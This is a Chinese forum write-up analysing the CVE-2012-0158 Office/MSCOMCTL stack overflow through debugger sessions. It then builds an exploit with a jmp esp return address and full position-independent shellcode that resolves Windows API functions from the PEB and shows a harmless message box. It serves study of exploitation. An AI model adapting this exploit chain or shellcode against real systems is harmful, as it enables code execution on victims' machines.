首页
社区
课程
招聘
[原创]cve-2012-0158漏洞分析与利用
2020-3-1 10:38 5313

[原创]cve-2012-0158漏洞分析与利用

2020-3-1 10:38
5313
一:漏洞概述:
cve-2012-0158是一个经典的office漏洞,漏洞原因时office在解析activeX控件时调用系统的MSCOMCTL.OCX库,此库中的函数在解析控件时存在栈溢出漏洞。

二:实验环境:
win7(32位),OD,WinDbg,IDAPro,office 2003,010editor;

三:获取poc:

Metasploit

https://www.exploit-db.com/

https://www.securityfocus.com


四:漏洞复现:

首先启动WORD,然后打开OD,附加WORD;


然后用WORD打开poc文件,此时会触发漏洞,观察OD;此时eip已被修改位41414141,观察堆栈情况,可以看出栈中的函数返回地址被修改位41414141;堆栈上方观察到一个来自MSCOMCTL模块的地址,反汇编窗口跟随查看;


根据反汇编窗口函数指令,找到函数起始位置下断点,然后F8动态调试,同时观察堆栈情况,找到触发栈溢出的指令或Call的调用;


经过F8动态调试分析,发现执行完CALL MSCOMCTL.275C876D 函数后,堆栈中函数返回地址被修改,说明这个函数内部触发了栈溢出;


用010Editor打开poc文件定位到414141位置;并结合OD的堆栈情况和IDA对 MSCOMCTL.275C876D 函数的分析,可以看出poc文件中的8282是缓冲区长度。此值设置过大导致下面调用qmemcpy函数发生溢出;



五:漏洞利用

我们将上述41414141改为jmp esp指令的地址,同时调用溢出函数的函数平衡堆栈时有ret 8,所以shellcode的起始位置应如下图所示:


接下来用WinDbg通过指令“!py mona.py jmp -r esp”来搜索合适的跳板指令;如图所示,这里我们选择0x729a0535作为跳板指令;


编写shellcode,弹出一个“Hello IOTA!”字符串,vs代码如下,Release编译后,在OD中提取opcode即可,这里不再赘述;

int main()
{
	_asm
	{
		pushad;
		sub esp, 0x50;
		jmp tag_ShellCode;
		// GetProcAddress\0 15
		_asm _emit( 0x47 )_asm _emit( 0x65 )_asm _emit( 0x74 )_asm _emit( 0x50 )
		_asm _emit( 0x72 )_asm _emit( 0x6f )_asm _emit( 0x63 )_asm _emit( 0x41 )
		_asm _emit( 0x64 )_asm _emit( 0x64 )_asm _emit( 0x72 )_asm _emit( 0x65 )
		_asm _emit( 0x73 )_asm _emit( 0x73 )_asm _emit( 0x00 )
		// LoadLibraryExa\0 15
		_asm _emit( 0x4c )_asm _emit( 0x6f )_asm _emit( 0x61 )_asm _emit( 0x64 )
		_asm _emit( 0x4c )_asm _emit( 0x69 )_asm _emit( 0x62 )_asm _emit( 0x72 )
		_asm _emit( 0x61 )_asm _emit( 0x72 )_asm _emit( 0x79 )_asm _emit( 0x45 )
		_asm _emit( 0x78 )_asm _emit( 0x41 )_asm _emit( 0x00 )
		// User32.dll\0 11
		_asm _emit( 0x55 )_asm _emit( 0x73 )_asm _emit( 0x65 )_asm _emit( 0x72 )
		_asm _emit( 0x33 )_asm _emit( 0x32 )_asm _emit( 0x2e )_asm _emit( 0x64 )
		_asm _emit( 0x6c )_asm _emit( 0x6c )_asm _emit( 0x00 )
		// MessageBoxA\0 12
		_asm _emit( 0x4d )_asm _emit( 0x65 )_asm _emit( 0x73 )_asm _emit( 0x73 )
		_asm _emit( 0x61 )_asm _emit( 0x67 )_asm _emit( 0x65 )_asm _emit( 0x42 )
		_asm _emit( 0x6f )_asm _emit( 0x78 )_asm _emit( 0x41 )_asm _emit( 0x00 )
		// ExitProcess\0 12
		_asm _emit( 0x45 )_asm _emit( 0x78 )_asm _emit( 0x69 )_asm _emit( 0x74 )
		_asm _emit( 0x50 )_asm _emit( 0x72 )_asm _emit( 0x6f )_asm _emit( 0x63 )
		_asm _emit( 0x65 )_asm _emit( 0x73 )_asm _emit( 0x73 )_asm _emit( 0x00 )
		// HelloIOTA\0 12
		_asm _emit( 0x48 )_asm _emit( 0x65 )_asm _emit( 0x6c )_asm _emit( 0x6c )
		_asm _emit( 0x6f )_asm _emit( 0x20 )_asm _emit( 0x49 )_asm _emit( 0x4F )
		_asm _emit( 0x54 )_asm _emit( 0x41 )_asm _emit( 0x21 )_asm _emit( 0x00 )
		tag_ShellCode:
				// GETPC
					 call tag_Next;
tag_Next:
					 pop ebx;									// 本代码起始地址 baseAddr
					 mov esi, dword ptr fs : [0x30];			// PEB
					 mov esi, [ esi + 0x0c ];					// _PEB_LDR_DATA
					 mov esi, [ esi + 0x1c ];					// 双向链表指针
					 mov esi, [ esi ];							// 链表中的第二个条目 指向的是KERNEL32.DLL 或KERNELBASE.DLL
					 mov edx, [ esi + 0x08 ];					// 获取Kernel32.dll基址
					 // 获取关键函数地址
					 // 1. GetProcAddress
					 push ebx;									// 参数1: baseAddr 
					 push edx;									// 参数2: 保存Kernel32.dll 基址
					 // fun_GetProcAddress(IMAGEBASE,baseAddr)
					 call fun_GetProcAddress;
					 mov esi, eax;								// 得到地址后保存到ESI中
					 // 2. 使用getProcaddress 得到LoadLibrary
					 lea ecx, [ ebx - 0x43 ];					// "LoadLibrary\0"
					 push edx;
					 push ecx;									// 参数1:字符串
					 push edx;									// 参数2:kernel32.dll
					 call esi;		            // getprocaddress()  在这个CALL 里改变了EDX所以在调用之前先保存一下。调用完再还原回去。
					 pop edx;
					 // 3. PAYLOAD

					 push ebx;									// baseAddr
					 push esi;									// addr_getprocaddress()
					 push eax;									// addr_loadlibraryexa()
					 push edx;									// kernel32.dll基址
					 call fun_PayLoad;

fun_GetProcAddress:
				 // 进入函数标准开头来一个
					 push ebp;
					 mov ebp, esp;

					 sub esp, 0x0c;								// 开辟个空间,可能 用到些参数要进来
					 push edx;									// imagebase

					 // 1. 获取EAT,ENT,EOT
					 mov ecx, [ ebp + 0x08 ];					// 把参数2给到edx,参数2是 IMAGEBASE

					 mov eax, [ ecx + 0x3c ];					// edx + 3c 是DOS头指向NT头的偏移
					 mov eax, [ eax + ecx + 0x78 ];				// eax + edx 是NT头的地址 再 + 0x78 是数据目录表[0]的偏移

					 mov edi, [ eax + ecx + 0x1c ];				// EAT RVA
					 add edi, ecx;
					 mov[ ebp - 0x04 ], edi;					// EAT 保存到局部变量1中

					 mov edi, [ eax + ecx + 0x20 ];				// ENT
					 add edi, ecx;
					 mov[ ebp - 0x08 ], edi;					// ENT 保存到局部变量2中

					 mov edi, [ eax + ecx + 0x24 ];				// EOT
					 add edi, ecx;
					 mov[ ebp - 0x0c ], edi;					// EOT 保存到局部变量3中

					 mov edi, [ eax + ecx + 0x18 ];				// 导出表中 名称数量 

					 //////////////////////////////////////////////////////////////////////////
					 //		已经获取到的数据状态:
					 //		EAX :导出表 RVA
					 //		ECX :IMAGEBASE
					 //		EAT,ENT,EOT都在局部变量中
					 //		EDI :函数名数量 
					 //////////////////////////////////////////////////////////////////////////
					 // 循环对比函数名
					 xor eax, eax;
					 jmp tag_FirstCmp;
tag_CmpFunNameLoop:
					 inc eax;									// EAX 是名称表中的下标
tag_FirstCmp:
					 mov esi, [ ebp - 0x08 ];					// esi = local1_2 ENT
					 mov esi, [ esi + eax * 4 ];				// ENT RVA 当下一次比较时,指针 + 4
					 mov edx, [ ebp + 0x08 ];					// 参数1:IMAGEBASE
					 lea esi, [ edx + esi ];					// 获取到具体函数名的指针

					 mov ebx, [ ebp + 0x0c ];					// 参数2:CODEBASE
					 lea edi, [ ebx - 0x52 ];					// "GetProcAddress"
					 mov ecx, 0x0e;								// ecx = "GetProcAddress"长度

					 cld;										// 改变方向从左向右进行比较
					 repe cmpsb;								// 循环按字节进行比较
					 jne tag_CmpFunNameLoop;					// 如果不相等则继续对比下一个函数名
					 // 成功后找到对应的地址
					 mov esi, [ ebp - 0x0c ];					// 局部变量 EOT
					 xor edi, edi;								// 清空
																// 序号的类型是WORD型的,因为它的增长是2个字节。
																// 名称表的下标就是序号表的下标,从序号表中取出这个下标的内容,作为EAT中的索引
					 mov di, [ esi + eax * 2 ];					// 用函数名下标,也就是序号表相同下标处的序号,从地址表中找到对应的地址
																// 使用序号作为索引,找到函数名所对应的函数地址
					 mov edx, [ ebp - 0x04 ];					// 取出 EAT 
					 mov esi, [ edx + edi * 4 ];				// esi = 用序号在函数地址数组找到函数名对应函数地址

					 mov edx, [ ebp + 0x08 ];					// edx = param_1 IMAGE_BASE
					 // 返回获取到的关键函数地址
					 lea eax, [ edx + esi ];					// getprocaddress
					 pop edx;
					 mov esp, ebp;
					 pop ebp;
					 retn 0x08;

fun_PayLoad:
					 push ebp;
					 mov ebp, esp;
					 sub esp, 0x08;
					 mov ebx, [ ebp + 0x14 ];					// ebx = param_4 baseaddr
					 // 1. 获取MessageBoxA
					 lea ecx, [ ebx - 0x34 ];					// "User32.dll"
					 push 0;
					 push 0;
					 push ecx;
					 call[ ebp + 0x0c ];						// loadLibrary()
					 lea ecx, [ ebx - 0x29 ];					// messageboxa
					 push ecx;
					 push eax;
					 call[ ebp + 0x10 ];						// getprocaddress
					 mov[ ebp - 0x04 ], eax;					// 
					 // 2. get exitprocaddr
					 lea ecx, [ ebx - 0x1d ];					// exitprocess\0
					 push ecx;									// ExitProcess
					 push[ ebp + 0x08 ];						// kernel32基址
					 call[ ebp + 0x10 ];						// GetProcAddress()
					 mov[ ebp - 0x08 ], eax;

					 // 弹框
					 lea ecx, [ ebx - 0x11 ];
					 push 0;
					 push ecx;
					 push ecx;
					 push 0;
					 call[ ebp - 0x04 ];
					 push 0;
					 call[ ebp - 0x08 ];
					 mov esp, ebp;
					 pop ebp;
					 retn 0x10;
	}
	return 0;
}
接下来修改poc文件数据,测试shellcode功能;

通过再次打开poc文件,发现“Hello IOTA!”成功弹出。






[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞2
打赏
分享
最新回复 (4)
雪    币: 83
活跃值: (1052)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
killpy 2 2020-3-1 15:06
2
0
感谢分享啊啊
雪    币: 27
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Y暗夜HP狂龍L 2020-3-5 13:41
3
0
没有师傅带一带,看着全是一片白,晕头转向啊。
雪    币: 2510
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xghoecki 2020-3-11 12:53
4
0
感谢分享
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_ucsatbku 2020-3-12 15:44
5
0
感谢分享
游客
登录 | 注册 方可回帖
返回